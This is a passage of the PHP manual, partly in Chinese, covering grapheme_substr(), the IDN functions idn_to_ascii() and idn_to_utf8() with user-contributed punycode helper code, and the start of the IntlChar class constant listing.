Start position in default grapheme units. If offset is non-negative, the returned string will start at the offset'th position in string, counting from zero. If offset is negative, the returned string will start at the offset'th grapheme unit from the end of string.

length

Length in grapheme units. If length is given and is positive, the string returned will contain at most length grapheme units beginning from offset (depending on the length of string). If length is given and is negative, then that many grapheme units will be omitted from the end of string (after the start position has been calculated when offset is negative). If offset denotes a position beyond this truncation, an empty string will be returned.

返回值

Returns the extracted part of string, 或者在失败时返回 false.

更新日志

版本 | 说明
8.0.0 | The function now consistently clamps out-of-bounds offsets to the string boundary. Previously, false was returned instead of the empty string in some cases.

示例

Example #1 grapheme_substr() example

<?php

$char_a_ring_nfd = "a\xCC\x8A"; // 'LATIN SMALL LETTER A WITH RING ABOVE' (U+00E5) normalization form "D"
$char_o_diaeresis_nfd = "o\xCC\x88"; // 'LATIN SMALL LETTER O WITH DIAERESIS' (U+00F6) normalization form "D"

print urlencode(grapheme_substr( "ao" . $char_a_ring_nfd . "bc" . $char_o_diaeresis_nfd . "O", 2, -1 ));
?>

以上示例会输出：

a%CC%8Abco%CC%88

参见

  • grapheme_extract() - Function to extract a sequence of default grapheme clusters from a text buffer, which must be encoded in UTF-8
  • » Unicode Text Segmentation: Grapheme Cluster Boundaries

User Contributed Notes

There are no user contributed notes for this page.


IDN 函数

Table of Contents

  • idn_to_ascii — 将域名转换为 IDNA ASCII 格式
  • idn_to_utf8 — 将域名从 IDNA ASCII 转换为 Unicode

User Contributed Notes

dklabbers at hostingxs dot nl 23-Apr-2015 07:29
In addition to the previous comment, php5-idn has merged into the php5-intl package. Use apt-get install php5-intl on ubuntu to use these idn features.
stepanov dot inbox at gmail dot com 05-Jul-2013 09:29
Keep in mind that a php module is required to use these functions (which may not be present on your shared hosting).

php5-idn - PHP API for the IDNA library (e.g. in Debian/Ubuntu)


将域名转换为 IDNA ASCII 格式

  • ? IDN 函数
  • idn_to_utf8 ?
  • PHP Manual
  • IDN 函数
  • 将域名转换为 IDNA ASCII 格式

idn_to_ascii

(PHP 5 >= 5.3.0, PHP 7, PHP 8, PECL intl >= 1.0.2, PECL idn >= 0.1)

idn_to_ascii — 将域名转换为 IDNA ASCII 格式

说明

过程化风格

idn_to_ascii(
string $domain,
int $flags = IDNA_DEFAULT,
int $variant = INTL_IDNA_VARIANT_UTS46,
array &$idna_info = null
): string|false

该函数可以将 Unicode 域名转换为 IDNA ASCII 兼容格式。

参数

domain

要转换的域，必须使用 UTF-8 编码。

flags

转换选项 — IDNA_* 开头的常量（除 IDNA_ERROR_* 开头的常量）。

variant

对于 IDNA 2003 是 INTL_IDNA_VARIANT_2003 (自 PHP 7.2.0 起已弃用)， 对于 UTS #46 是 INTL_IDNA_VARIANT_UTS46 (仅 ICU 4.6 起可用)。

idna_info

仅当 INTL_IDNA_VARIANT_UTS46 用于 variant 时，才可以使用该参数。 在这种情况下，它将用这些键组成的数组来填充： 'result' 键，转换结果（有可能是一个非法结果）； 'isTransitionalDifferent' 键，布尔值，指示使用 UTS #46 的过滤机制是否会改变结果； 'errors' 键，是 IDNA_ERROR_* 常量集里一个常量对应的 int 。

返回值

IDNA ASCII 兼容格式编码的域名， 或者在失败时返回 false

更新日志

版本 | 说明
7.4.0 | 现在 variant 的默认值为 INTL_IDNA_VARIANT_UTS46 ， 而不是已弃用的 INTL_IDNA_VARIANT_2003 。
7.2.0 | INTL_IDNA_VARIANT_2003 已被弃用； 可以使用 INTL_IDNA_VARIANT_UTS46 代替。

示例

Example #1 idn_to_ascii() 示例

<?php

echo idn_to_ascii('t?st.de');

?>

以上示例会输出：

xn--tst-qla.de

参见

  • idn_to_utf8() - 将域名从 IDNA ASCII 转换为 Unicode

User Contributed Notes

mpf at mk dot de 16-Nov-2023 08:20
The documentation ist not clear what failure in the return section means. This should be substituted to something like this:

"Returns failure if the given string could not be converted".
alexchexes at gmail dot com 06-Sep-2023 09:40
idn_to_ascii and idn_to_utf8 functions don't properly handle full URLs (i.e. with schema and paths), so here's the helper functions which handles all URLs, including ones with path but without a scheme

<?php
/**
 * Converts URLS to punycode
 * It doesn't url-encodes other parts
 * The initial code from snipp dor ru website, here is modified version that handles urls without scheme
 */
function punycode_encode($url)
{
    $no_scheme = false;
    if (!preg_match('/^.+?:\/\//', $url) && substr($url, 0, 2) !== '//') {
        $url = '//' . $url;
        $no_scheme = true;
    }

    $parts = parse_url($url);

    $out = '';
    if (!empty($parts['scheme']))   $out .= $parts['scheme'] . ':';
    if (!empty($parts['host']))     $out .= '//';
    if (!empty($parts['user']))     $out .= $parts['user'];
    if (!empty($parts['pass']))     $out .= ':' . $parts['pass'];
    if (!empty($parts['user']))     $out .= '@';
    if (!empty($parts['host']))     $out .= idn_to_ascii($parts['host']);
    if (!empty($parts['port']))     $out .= ':' . $parts['port'];
    if (!empty($parts['path']))     $out .= $parts['path'];
    if (!empty($parts['query']))    $out .= '?' . $parts['query'];
    if (!empty($parts['fragment'])) $out .= '#' . $parts['fragment'];

    if ($no_scheme) {
        $out = substr($out, 2);
    }

    return $out;
}

function punycode_decode($url)
{
    $no_scheme = false;
    if (!preg_match('/^.+?:\/\//', $url) && substr($url, 0, 2) !== '//') {
        $url = '//' . $url;
        $no_scheme = true;
    }

    $parts = parse_url($url);
    $out = '';
    if (!empty($parts['scheme']))   $out .= $parts['scheme'] . ':';
    if (!empty($parts['host']))     $out .= '//';
    if (!empty($parts['user']))     $out .= $parts['user'];
    if (!empty($parts['pass']))     $out .= ':' . $parts['pass'];
    if (!empty($parts['user']))     $out .= '@';
    if (!empty($parts['host']))     $out .= idn_to_utf8($parts['host']);
    if (!empty($parts['port']))     $out .= ':' . $parts['port'];
    if (!empty($parts['path']))     $out .= $parts['path'];
    if (!empty($parts['query']))    $out .= '?' . $parts['query'];
    if (!empty($parts['fragment'])) $out .= '#' . $parts['fragment'];

    if ($no_scheme) {
        $out = substr($out, 2);
    }

    return $out;
}
waxblur at gmx dot at 02-Dec-2020 09:16
In Windows, the path to the PHP folder must still be present in the PATH environment variable, becouse the necessary DLLs (icudt65.dll, icuin65.dll etc.) are available in this folder.
mschrieck at gmail dot com 31-Mar-2017 01:03
To convert IDN Domains with the IDNA2008 definition use following command.

idn_to_ascii('te?t.com',IDNA_NONTRANSITIONAL_TO_ASCII,INTL_IDNA_VARIANT_UTS46)

The result is then as expected

xn--tet-6ka.com
edible dot email at gmail dot com 03-Jun-2012 05:08
The notes on this function are not very clear and a little misleading.

Firstly, <=5.3, you will need to make use of one of several scripts or classes available on the internet which might, or might not, require the installation of of the intl and idn PECL extensions ...and you will need to have !<4.0 in order to be able to install both.

Secondly, if you have >=5.4 you will not require the PECL extensions.

Third, use of utf8_encode() is not necessary.  In fact, it will potentially prevent idn_to_ascii() from working at all.

On my setup it was necessary to change the charset in the script meta tags to UTF-8:

<meta http-equiv="Content-Type" content="text/html; CHARSET=gb2312" />

...and to change charset_default in the php.ini file (/usr/local/lib/php.ini, whereis php.ini, find / -name php.ini):

default_charset = "UTF-8"

The above changes mean that idn_to_ascii() can now be used with that syntax (no need for utf8_encode()).  Previously, the function worked to convert some IDNs, but failed to convert Japanese and Cyrillic IDNs.  Further, no additional locales were enabled or added, and Apache's charset file was left unmodified.

It is also important to remember only to apply the function where required, eg:

idn_to_ascii(c?sino.com) // is wrong

...whereas...

iden_to_ascii(c?sino) // is right

...and also be aware of text editors that don't support UTF-8 encoding, or the $domain = 'c?sino' value will end up as $domain = '??????' ...and the function will fail.

I have found that Notepad++ easily and reliably handles UTF-8 encoding that works for this function using UTF-8 as the encoding option, not UTF-8 without BOM.


将域名从 IDNA ASCII 转换为 Unicode

  • ? idn_to_ascii
  • IntlChar ?
  • PHP Manual
  • IDN 函数
  • 将域名从 IDNA ASCII 转换为 Unicode

idn_to_utf8

(PHP 5 >= 5.3.0, PHP 7, PHP 8, PECL intl >= 1.0.2, PECL idn >= 0.1)

idn_to_utf8 — 将域名从 IDNA ASCII 转换为 Unicode

说明

过程化风格

idn_to_utf8(
string $domain,
int $flags = IDNA_DEFAULT,
int $variant = INTL_IDNA_VARIANT_UTS46,
array &$idna_info = null
): string|false

该函数将 Unicode 域名从 IDNA ASCII 兼容格式转换为 纯 Unicode（UTF-8 编码）。

参数

domain

要转换的 IDNA ASCII 兼容格式的域名。

flags

转换选项 — IDNA_* 开头的常量（除 IDNA_ERROR_* 开头的常量）。

variant

对于 IDNA 2003 是 INTL_IDNA_VARIANT_2003 (自 PHP 7.2.0 起已弃用)， 对于 UTS #46 是 INTL_IDNA_VARIANT_UTS46 (仅 ICU 4.6 起可用)。

idna_info

仅当 INTL_IDNA_VARIANT_UTS46 用于 variant 时，才可以使用该参数。 在这种情况下，它将用这些键组成的数组来填充： 'result' 键，转换结果（有可能是一个非法结果）； 'isTransitionalDifferent' 键，布尔值，指示使用 UTS #46 的过滤机制是否会改变结果； 'errors' 键，是 IDNA_ERROR_* 常量集里一个常量对应的 int 。

返回值

UTF-8 编码的 Unicode 域名， 或者在失败时返回 false

更新日志

版本 | 说明
7.4.0 | 现在 variant 的默认值为 INTL_IDNA_VARIANT_UTS46 ， 而不是已弃用的 INTL_IDNA_VARIANT_2003 。
7.2.0 | INTL_IDNA_VARIANT_2003 已被弃用； 可以使用 INTL_IDNA_VARIANT_UTS46 代替。

示例

Example #1 idn_to_utf8() 示例

<?php

echo idn_to_utf8('xn--tst-qla.de');

?>

以上示例会输出：

t?st.de

参见

  • idn_to_ascii() - 将域名转换为 IDNA ASCII 格式

User Contributed Notes

kushik.com 02-May-2013 01:36
<?php
// for those who has PHP older than version 5.3
class IDN {
    // adapt bias for punycode algorithm
    private static function punyAdapt(
        $delta,
        $numpoints,
        $firsttime
    ) {
        $delta = $firsttime ? $delta / 700 : $delta / 2;
        $delta += $delta / $numpoints;
        for ($k = 0; $delta > 455; $k += 36)
            $delta = intval($delta / 35);
        return $k + (36 * $delta) / ($delta + 38);
    }

    // translate character to punycode number
    private static function decodeDigit($cp) {
        $cp = strtolower($cp);
        if ($cp >= 'a' && $cp <= 'z')
            return ord($cp) - ord('a');
        elseif ($cp >= '0' && $cp <= '9')
            return ord($cp) - ord('0')+26;
    }

    // make utf8 string from unicode codepoint number
    private static function utf8($cp) {
        if ($cp < 128) return chr($cp);
        if ($cp < 2048)
            return chr(192+($cp >> 6)).chr(128+($cp & 63));
        if ($cp < 65536) return
            chr(224+($cp >> 12)).
            chr(128+(($cp >> 6) & 63)).
            chr(128+($cp & 63));
        if ($cp < 2097152) return
            chr(240+($cp >> 18)).
            chr(128+(($cp >> 12) & 63)).
            chr(128+(($cp >> 6) & 63)).
            chr(128+($cp & 63));
        // it should never get here
    }

    // main decoding function
    private static function decodePart($input) {
        if (substr($input,0,4) != "xn--") // prefix check...
            return $input;
        $input = substr($input,4); // discard prefix
        $a = explode("-",$input);
        if (count($a) > 1) {
            $input = str_split(array_pop($a));
            $output = str_split(implode("-",$a));
        } else {
            $output = array();
            $input = str_split($input);
        }
        $n = 128; $i = 0; $bias = 72; // init punycode vars
        while (!empty($input)) {
            $oldi = $i;
            $w = 1;
            for ($k = 36;;$k += 36) {
                $digit = IDN::decodeDigit(array_shift($input));
                $i += $digit * $w;
                if ($k <= $bias) $t = 1;
                elseif ($k >= $bias + 26) $t = 26;
                else $t = $k - $bias;
                if ($digit < $t) break;
                $w *= intval(36 - $t);
            }
            $bias = IDN::punyAdapt(
                $i-$oldi,
                count($output)+1,
                $oldi == 0
            );
            $n += intval($i / (count($output) + 1));
            $i %= count($output) + 1;
            array_splice($output,$i,0,array(IDN::utf8($n)));
            $i++;
        }
        return implode("",$output);
    }

    public static function decodeIDN($name) {
        // split it, parse it and put it back together
        return
            implode(
                ".",
                array_map("IDN::decodePart",explode(".",$name))
            );
    }

}
echo IDN::decodeIDN($_SERVER['HTTP_HOST']);
?>


IntlChar

(PHP 7, PHP 8)

简介

IntlChar provides access to a number of utility methods that can be used to access information about Unicode characters.

The methods and constants adhere closely to the names and behavior used by the underlying ICU library.

类摘要

class IntlChar {
/* 常量 */
public const string UNICODE_VERSION;
public const int CODEPOINT_MIN;
public const int CODEPOINT_MAX;
public const float NO_NUMERIC_VALUE;
public const int PROPERTY_ALPHABETIC;
public const int PROPERTY_BINARY_START;
public const int PROPERTY_ASCII_HEX_DIGIT;
public const int PROPERTY_BIDI_CONTROL;
public const int PROPERTY_BIDI_MIRRORED;
public const int PROPERTY_DASH;
public const int PROPERTY_DEFAULT_IGNORABLE_CODE_POINT;
public const int PROPERTY_DEPRECATED;
public const int PROPERTY_DIACRITIC;
public const int PROPERTY_EXTENDER;
public const int PROPERTY_FULL_COMPOSITION_EXCLUSION;
public const int PROPERTY_GRAPHEME_BASE;
public const int PROPERTY_GRAPHEME_EXTEND;
public const int PROPERTY_GRAPHEME_LINK;
public const int PROPERTY_HEX_DIGIT;
public const int PROPERTY_HYPHEN;
public const int PROPERTY_ID_CONTINUE;
public const int PROPERTY_ID_START;
public const int PROPERTY_IDEOGRAPHIC;
public const int PROPERTY_IDS_BINARY_OPERATOR;
public const int PROPERTY_IDS_TRINARY_OPERATOR;
public const int PROPERTY_JOIN_CONTROL;
public const int PROPERTY_LOGICAL_ORDER_EXCEPTION;
public const int PROPERTY_LOWERCASE;
public const int PROPERTY_MATH;
public const int PROPERTY_NONCHARACTER_CODE_POINT;
public const int PROPERTY_QUOTATION_MARK;
public const int PROPERTY_RADICAL;
public const int PROPERTY_SOFT_DOTTED;
public const int PROPERTY_TERMINAL_PUNCTUATION;
public const int PROPERTY_UNIFIED_IDEOGRAPH;
public const int PROPERTY_UPPERCASE;
public const int PROPERTY_WHITE_SPACE;
public const int PROPERTY_XID_CONTINUE;
public const int PROPERTY_XID_START;
public const int PROPERTY_CASE_SENSITIVE;
public const int PROPERTY_S_TERM;
public const int PROPERTY_VARIATION_SELECTOR;
public const int PROPERTY_NFD_INERT;
public const int PROPERTY_NFKD_INERT;
public const int PROPERTY_NFC_INERT;
public const int PROPERTY_NFKC_INERT;
public const int PROPERTY_SEGMENT_STARTER;
public const int PROPERTY_PATTERN_SYNTAX;
public const int PROPERTY_PATTERN_WHITE_SPACE;
public const int PROPERTY_POSIX_ALNUM;
public const int PROPERTY_POSIX_BLANK;
public const int PROPERTY_POSIX_GRAPH;
public const int PROPERTY_POSIX_PRINT;
public const int PROPERTY_POSIX_XDIGIT;
public const int PROPERTY_CASED;
public const int PROPERTY_CASE_IGNORABLE;
public const int PROPERTY_CHANGES_WHEN_LOWERCASED;
public const int PROPERTY_CHANGES_WHEN_UPPERCASED;
public const int PROPERTY_CHANGES_WHEN_TITLECASED;
public const int PROPERTY_CHANGES_WHEN_CASEFOLDED;
public const int PROPERTY_CHANGES_WHEN_CASEMAPPED;
public const int PROPERTY_CHANGES_WHEN_NFKC_CASEFOLDED;
public const int PROPERTY_BINARY_LIMIT;
public const int PROPERTY_BIDI_CLASS;
public const int PROPERTY_INT_START;
public const int PROPERTY_BLOCK;
public const int PROPERTY_CANONICAL_COMBINING_CLASS;
public const int PROPERTY_DECOMPOSITION_TYPE;
public const int PROPERTY_EAST_ASIAN_WIDTH;
public const int PROPERTY_GENERAL_CATEGORY;
public const int PROPERTY_JOINING_GROUP;
public const int PROPERTY_JOINING_TYPE;
public const int PROPERTY_LINE_BREAK;
public const int PROPERTY_NUMERIC_TYPE;
public const int PROPERTY_SCRIPT;
public const int PROPERTY_HANGUL_SYLLABLE_TYPE;
public const int PROPERTY_NFD_QUICK_CHECK;
public const int PROPERTY_NFKD_QUICK_CHECK;
public const int PROPERTY_NFC_QUICK_CHECK;
public const int PROPERTY_NFKC_QUICK_CHECK;
public const int PROPERTY_LEAD_CANONICAL_COMBINING_CLASS;
public const int PROPERTY_TRAIL_CANONICAL_COMBINING_CLASS;
public const int PROPERTY_GRAPHEME_CLUSTER_BREAK;
public const int PROPERTY_SENTENCE_BREAK;
public const int PROPERTY_WORD_BREAK;
public const int PROPERTY_BIDI_PAIRED_BRACKET_TYPE;
public const int PROPERTY_INT_LIMIT;
public const int PROPERTY_GENERAL_CATEGORY_MASK;
public const int PROPERTY_MASK_START;
public const int PROPERTY_MASK_LIMIT;
public const int PROPERTY_NUMERIC_VALUE;
public const int PROPERTY_DOUBLE_START;
public const int PROPERTY_DOUBLE_LIMIT;
public const int PROPERTY_AGE;
public const int PROPERTY_STRING_START;
public const int PROPERTY_BIDI_MIRRORING_GLYPH;
public const int PROPERTY_CASE_FOLDING;
public const int PROPERTY_ISO_COMMENT;
public const int PROPERTY_LOWERCASE_MAPPING;
public const int PROPERTY_NAME;
public const int PROPERTY_SIMPLE_CASE_FOLDING;
public const int PROPERTY_SIMPLE_LOWERCASE_MAPPING;
public const int PROPERTY_SIMPLE_TITLECASE_MAPPING;
public const int PROPERTY_SIMPLE_UPPERCASE_MAPPING;
public const int PROPERTY_TITLECASE_MAPPING;
public const int PROPERTY_UNICODE_1_NAME;
public const int PROPERTY_UPPERCASE_MAPPING;
public const int PROPERTY_BIDI_PAIRED_BRACKET;
public const int PROPERTY_STRING_LIMIT;
public const int PROPERTY_SCRIPT_EXTENSIONS;
public const int PROPERTY_OTHER_PROPERTY_START;
public const int PROPERTY_OTHER_PROPERTY_LIMIT;
public const int PROPERTY_INVALID_CODE;
public const int CHAR_CATEGORY_UNASSIGNED;
public const int CHAR_CATEGORY_GENERAL_OTHER_TYPES;
public const int CHAR_CATEGORY_UPPERCASE_LETTER;
public const int CHAR_CATEGORY_LOWERCASE_LETTER;
public const int CHAR_CATEGORY_TITLECASE_LETTER;
public const int CHAR_CATEGORY_MODIFIER_LETTER;
public const int CHAR_CATEGORY_OTHER_LETTER;
public const int CHAR_CATEGORY_NON_SPACING_MARK;
public const int CHAR_CATEGORY_ENCLOSING_MARK;
public const int CHAR_CATEGORY_COMBINING_SPACING_MARK;
public const int CHAR_CATEGORY_DECIMAL_DIGIT_NUMBER;
public const int CHAR_CATEGORY_LETTER_NUMBER;
public const int CHAR_CATEGORY_OTHER_NUMBER;
public const int CHAR_CATEGORY_SPACE_SEPARATOR;
public const int CHAR_CATEGORY_LINE_SEPARATOR;
public const int CHAR_CATEGORY_PARAGRAPH_SEPARATOR;
public const int CHAR_CATEGORY_CONTROL_CHAR;
public const int CHAR_CATEGORY_FORMAT_CHAR;
public const int CHAR_CATEGORY_PRIVATE_USE_CHAR;
public const int CHAR_CATEGORY_SURROGATE;
public const int CHAR_CATEGORY_DASH_PUNCTUATION;
public const int CHAR_CATEGORY_START_PUNCTUATION;
public const int CHAR_CATEGORY_END_PUNCTUATION;
public const int CHAR_CATEGORY_CONNECTOR_PUNCTUATION;
public const int CHAR_CATEGORY_OTHER_PUNCTUATION;
public const int CHAR_CATEGORY_MATH_SYMBOL;
public const int CHAR_CATEGORY_CURRENCY_SYMBOL;
public const int CHAR_CATEGORY_MODIFIER_SYMBOL;
public const int CHAR_CATEGORY_OTHER_SYMBOL;
public const int CHAR_CATEGORY_INITIAL_PUNCTUATION;
public const int CHAR_CATEGORY_FINAL_PUNCTUATION;
public const int CHAR_CATEGORY_CHAR_CATEGORY_COUNT;
public const int CHAR_DIRECTION_LEFT_TO_RIGHT;
public const int CHAR_DIRECTION_RIGHT_TO_LEFT;
public const int CHAR_DIRECTION_EUROPEAN_NUMBER;
public const int CHAR_DIRECTION_EUROPEAN_NUMBER_SEPARATOR;
public const int CHAR_DIRECTION_EUROPEAN_NUMBER_TERMINATOR;
public const int CHAR_DIRECTION_ARABIC_NUMBER;
public const int CHAR_DIRECTION_COMMON_NUMBER_SEPARATOR;
public const int CHAR_DIRECTION_BLOCK_SEPARATOR;
public const int CHAR_DIRECTION_SEGMENT_SEPARATOR;
public const int CHAR_DIRECTION_WHITE_SPACE_NEUTRAL;
public const int CHAR_DIRECTION_OTHER_NEUTRAL;
public const int CHAR_DIRECTION_LEFT_TO_RIGHT_EMBEDDING;
public const int CHAR_DIRECTION_LEFT_TO_RIGHT_OVERRIDE;
public const int CHAR_DIRECTION_RIGHT_TO_LEFT_ARABIC;
public const int CHAR_DIRECTION_RIGHT_TO_LEFT_EMBEDDING;
public const int CHAR_DIRECTION_RIGHT_TO_LEFT_OVERRIDE;
public const int CHAR_DIRECTION_POP_DIRECTIONAL_FORMAT;
public const int CHAR_DIRECTION_DIR_NON_SPACING_MARK;
public const int CHAR_DIRECTION_BOUNDARY_NEUTRAL;
public const int CHAR_DIRECTION_FIRST_STRONG_ISOLATE;
public const int CHAR_DIRECTION_LEFT_TO_RIGHT_ISOLATE;
public const int CHAR_DIRECTION_RIGHT_TO_LEFT_ISOLATE;
public const int CHAR_DIRECTION_POP_DIRECTIONAL_ISOLATE;
public const int CHAR_DIRECTION_CHAR_DIRECTION_COUNT;
public const int BLOCK_CODE_NO_BLOCK;
public const int BLOCK_CODE_BASIC_LATIN;
public const int BLOCK_CODE_LATIN_1_SUPPLEMENT;
public const int BLOCK_CODE_LATIN_EXTENDED_A;
public const int BLOCK_CODE_LATIN_EXTENDED_B;
public const int BLOCK_CODE_IPA_EXTENSIONS;
public const int BLOCK_CODE_SPACING_MODIFIER_LETTERS;
public const int BLOCK_CODE_COMBINING_DIACRITICAL_MARKS;
public const int BLOCK_CODE_GREEK;
public const int BLOCK_CODE_CYRILLIC;
public const int BLOCK_CODE_ARMENIAN;
public const int BLOCK_CODE_HEBREW;
public const int BLOCK_CODE_ARABIC;
public const int BLOCK_CODE_SYRIAC;
public const int BLOCK_CODE_THAANA;
public const int BLOCK_CODE_DEVANAGARI;
public const int BLOCK_CODE_BENGALI;
public const int BLOCK_CODE_GURMUKHI;
public const int BLOCK_CODE_GUJARATI;
public const int BLOCK_CODE_ORIYA;
public const int BLOCK_CODE_TAMIL;
public const int BLOCK_CODE_TELUGU;
public const int BLOCK_CODE_KANNADA;
public const int BLOCK_CODE_MALAYALAM;
public const int BLOCK_CODE_SINHALA;
public const int BLOCK_CODE_THAI;
public const int BLOCK_CODE_LAO;
public const int BLOCK_CODE_TIBETAN;
public const int BLOCK_CODE_MYANMAR;
public const int BLOCK_CODE_GEORGIAN;
public const int BLOCK_CODE_HANGUL_JAMO;
public const int BLOCK_CODE_ETHIOPIC;
public const int BLOCK_CODE_CHEROKEE;
public const int BLOCK_CODE_UNIFIED_CANADIAN_ABORIGINAL_SYLLABICS;
public const int BLOCK_CODE_OGHAM;
public const int BLOCK_CODE_RUNIC;
public const int BLOCK_CODE_KHMER;
public const int BLOCK_CODE_MONGOLIAN;
public const int BLOCK_CODE_LATIN_EXTENDED_ADDITIONAL;
public const int BLOCK_CODE_GREEK_EXTENDED;
public const int BLOCK_CODE_GENERAL_PUNCTUATION;
public const int BLOCK_CODE_SUPERSCRIPTS_AND_SUBSCRIPTS;
public const int BLOCK_CODE_CURRENCY_SYMBOLS;
public const int BLOCK_CODE_COMBINING_MARKS_FOR_SYMBOLS;
public const int BLOCK_CODE_LETTERLIKE_SYMBOLS;
public const int BLOCK_CODE_NUMBER_FORMS;
public const int BLOCK_CODE_ARROWS;
public const int BLOCK_CODE_MATHEMATICAL_OPERATORS;
public const int BLOCK_CODE_MISCELLANEOUS_TECHNICAL;
public const int BLOCK_CODE_CONTROL_PICTURES;
public const int BLOCK_CODE_OPTICAL_CHARACTER_RECOGNITION;
public const int BLOCK_CODE_ENCLOSED_ALPHANUMERICS;
public const int BLOCK_CODE_BOX_DRAWING;
public const int BLOCK_CODE_BLOCK_ELEMENTS;
public const int BLOCK_CODE_GEOMETRIC_SHAPES;
public const int BLOCK_CODE_MISCELLANEOUS_SYMBOLS;
public const int BLOCK_CODE_DINGBATS;
public const int BLOCK_CODE_BRAILLE_PATTERNS;
public const int BLOCK_CODE_CJK_RADICALS_SUPPLEMENT;
public const int BLOCK_CODE_KANGXI_RADICALS;
public const int BLOCK_CODE_IDEOGRAPHIC_DESCRIPTION_CHARACTERS;
public const int BLOCK_CODE_CJK_SYMBOLS_AND_PUNCTUATION;
public const int BLOCK_CODE_HIRAGANA;
public const int BLOCK_CODE_KATAKANA;
public const int BLOCK_CODE_BOPOMOFO;
public const int BLOCK_CODE_HANGUL_COMPATIBILITY_JAMO;
public const int BLOCK_CODE_KANBUN;
public const int BLOCK_CODE_BOPOMOFO_EXTENDED;
public const int BLOCK_CODE_ENCLOSED_CJK_LETTERS_AND_MONTHS;
public const int BLOCK_CODE_CJK_COMPATIBILITY;
public const int BLOCK_CODE_CJK_UNIFIED_IDEOGRAPHS_EXTENSION_A;
public const int BLOCK_CODE_CJK_UNIFIED_IDEOGRAPHS;
public const int BLOCK_CODE_YI_SYLLABLES;
public const int BLOCK_CODE_YI_RADICALS;
public const int BLOCK_CODE_HANGUL_SYLLABLES;
public const int BLOCK_CODE_HIGH_SURROGATES;
public const int BLOCK_CODE_HIGH_PRIVATE_USE_SURROGATES;
public const int BLOCK_CODE_LOW_SURROGATES;
public const int BLOCK_CODE_PRIVATE_USE_AREA;
public const int BLOCK_CODE_PRIVATE_USE;
public const int BLOCK_CODE_CJK_COMPATIBILITY_IDEOGRAPHS;
public const int BLOCK_CODE_ALPHABETIC_PRESENTATION_FORMS;
public const int BLOCK_CODE_ARABIC_PRESENTATION_FORMS_A;
public const int BLOCK_CODE_COMBINING_HALF_MARKS;
public const int BLOCK_CODE_CJK_COMPATIBILITY_FORMS;
public const int BLOCK_CODE_SMALL_FORM_VARIANTS;
public const int BLOCK_CODE_ARABIC_PRESENTATION_FORMS_B;
public const int BLOCK_CODE_SPECIALS;
public const int BLOCK_CODE_HALFWIDTH_AND_FULLWIDTH_FORMS;
public const int BLOCK_CODE_OLD_ITALIC;
public const int BLOCK_CODE_GOTHIC;
public const int BLOCK_CODE_DESERET;
public const int BLOCK_CODE_BYZANTINE_MUSICAL_SYMBOLS;
public const int BLOCK_CODE_MUSICAL_SYMBOLS;
public const int BLOCK_CODE_MATHEMATICAL_ALPHANUMERIC_SYMBOLS;
public const int BLOCK_CODE_CJK_UNIFIED_IDEOGRAPHS_EXTENSION_B;
public const int BLOCK_CODE_CJK_COMPATIBILITY_IDEOGRAPHS_SUPPLEMENT;
public const int BLOCK_CODE_TAGS;
public const int BLOCK_CODE_CYRILLIC_SUPPLEMENT;
public const int BLOCK_CODE_CYRILLIC_SUPPLEMENTARY;
public const int BLOCK_CODE_TAGALOG;
public const int BLOCK_CODE_HANUNOO;
public const int BLOCK_CODE_BUHID;
public const int BLOCK_CODE_TAGBANWA;
public const int BLOCK_CODE_MISCELLANEOUS_MATHEMATICAL_SYMBOLS_A;
public const int BLOCK_CODE_SUPPLEMENTAL_ARROWS_A;
public const int BLOCK_CODE_SUPPLEMENTAL_ARROWS_B;
public const int BLOCK_CODE_MISCELLANEOUS_MATHEMATICAL_SYMBOLS_B;
public const int BLOCK_CODE_SUPPLEMENTAL_MATHEMATICAL_OPERATORS;
public const int BLOCK_CODE_KATAKANA_PHONETIC_EXTENSIONS;
public const int BLOCK_CODE_VARIATION_SELECTORS;
public const int BLOCK_CODE_SUPPLEMENTARY_PRIVATE_USE_AREA_A;
public const int BLOCK_CODE_SUPPLEMENTARY_PRIVATE_USE_AREA_B;
public const int BLOCK_CODE_LIMBU;
public const int BLOCK_CODE_TAI_LE;
public const int BLOCK_CODE_KHMER_SYMBOLS;
public const int BLOCK_CODE_PHONETIC_EXTENSIONS;
public const int BLOCK_CODE_MISCELLANEOUS_SYMBOLS_AND_ARROWS;
public const int BLOCK_CODE_YIJING_HEXAGRAM_SYMBOLS;
public const int BLOCK_CODE_LINEAR_B_SYLLABARY;
public const int BLOCK_CODE_LINEAR_B_IDEOGRAMS;
public const int BLOCK_CODE_AEGEAN_NUMBERS;
public const int BLOCK_CODE_UGARITIC;
public const int BLOCK_CODE_SHAVIAN;
public const int BLOCK_CODE_OSMANYA;
public const int BLOCK_CODE_CYPRIOT_SYLLABARY;
public const int BLOCK_CODE_TAI_XUAN_JING_SYMBOLS;
public const int BLOCK_CODE_VARIATION_SELECTORS_SUPPLEMENT;
public const int BLOCK_CODE_ANCIENT_GREEK_MUSICAL_NOTATION;
public const int BLOCK_CODE_ANCIENT_GREEK_NUMBERS;
public const int BLOCK_CODE_ARABIC_SUPPLEMENT;
public const int BLOCK_CODE_BUGINESE;
public const int BLOCK_CODE_CJK_STROKES;
public const int BLOCK_CODE_COMBINING_DIACRITICAL_MARKS_SUPPLEMENT;
public const int BLOCK_CODE_COPTIC;
public const int BLOCK_CODE_ETHIOPIC_EXTENDED;
public const int BLOCK_CODE_ETHIOPIC_SUPPLEMENT;
public const int BLOCK_CODE_GEORGIAN_SUPPLEMENT;
public const int BLOCK_CODE_GLAGOLITIC;
public const int BLOCK_CODE_KHAROSHTHI;
public const int BLOCK_CODE_MODIFIER_TONE_LETTERS;
public const int BLOCK_CODE_NEW_TAI_LUE;
public const int BLOCK_CODE_OLD_PERSIAN;
public const int BLOCK_CODE_PHONETIC_EXTENSIONS_SUPPLEMENT;
public const int BLOCK_CODE_SUPPLEMENTAL_PUNCTUATION;
public const int BLOCK_CODE_SYLOTI_NAGRI;
public const int BLOCK_CODE_TIFINAGH;
public const int BLOCK_CODE_VERTICAL_FORMS;
public const int BLOCK_CODE_NKO;
public const int BLOCK_CODE_BALINESE;
public const int BLOCK_CODE_LATIN_EXTENDED_C;
public const int BLOCK_CODE_LATIN_EXTENDED_D;
public const int BLOCK_CODE_PHAGS_PA;
public const int BLOCK_CODE_PHOENICIAN;
public const int BLOCK_CODE_CUNEIFORM;
public const int BLOCK_CODE_CUNEIFORM_NUMBERS_AND_PUNCTUATION;
public const int BLOCK_CODE_COUNTING_ROD_NUMERALS;
public const int BLOCK_CODE_SUNDANESE;
public const int BLOCK_CODE_LEPCHA;
public const int BLOCK_CODE_OL_CHIKI;
public const int BLOCK_CODE_CYRILLIC_EXTENDED_A;
public const int BLOCK_CODE_VAI;
